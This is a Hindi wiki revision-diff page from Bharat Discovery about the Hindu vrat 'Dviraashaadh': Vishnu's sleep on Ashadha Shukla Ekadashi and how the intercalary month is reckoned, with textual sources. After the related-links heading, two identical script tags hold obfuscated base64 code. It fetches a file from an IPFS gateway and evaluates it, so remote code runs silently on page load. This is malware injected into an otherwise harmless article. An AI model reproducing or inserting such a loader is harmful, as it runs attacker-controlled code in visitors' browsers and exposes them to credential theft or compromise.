द्विराषाढ़: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "उल्लखित" to "उल्लिखित") |
No edit summary |
||
(One intermediate revision by one other user not shown) | |||
Line 2: | Line 2: | ||
*[[आषाढ़]] [[शुक्ल पक्ष]] की [[एकादशी]] को विष्णु भगवान शयन करते रहते हैं। | *[[आषाढ़]] [[शुक्ल पक्ष]] की [[एकादशी]] को विष्णु भगवान शयन करते रहते हैं। | ||
*जब सूर्य मिथुन राशि में हो और इस अवधि में दो अमावास्याएँ अन्त को प्राप्त हो जायें तो आषाढ़ (चान्द्र) मास होते हैं और अधिमास पड़ता है और विष्णु दूसरी अमावास्या (अर्थात् कर्कट या श्रावण) में शयन करते हैं।<ref>कालविवेक (169-173); निर्णयसिन्धु (192); समयमयूख (83)।</ref> | *जब सूर्य मिथुन राशि में हो और इस अवधि में दो अमावास्याएँ अन्त को प्राप्त हो जायें तो आषाढ़ (चान्द्र) मास होते हैं और अधिमास पड़ता है और विष्णु दूसरी अमावास्या (अर्थात् कर्कट या श्रावण) में शयन करते हैं।<ref>कालविवेक (169-173); निर्णयसिन्धु (192); समयमयूख (83)।</ref> | ||
{{प्रचार}} | |||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
Latest revision as of 12:24, 15 June 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- आषाढ़ शुक्ल पक्ष की एकादशी को विष्णु भगवान शयन करते रहते हैं।
- जब सूर्य मिथुन राशि में हो और इस अवधि में दो अमावास्याएँ अन्त को प्राप्त हो जायें तो आषाढ़ (चान्द्र) मास होते हैं और अधिमास पड़ता है और विष्णु दूसरी अमावास्या (अर्थात् कर्कट या श्रावण) में शयन करते हैं।[1]
टीका टिप्पणी और संदर्भ
- ↑ कालविवेक (169-173); निर्णयसिन्धु (192); समयमयूख (83)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>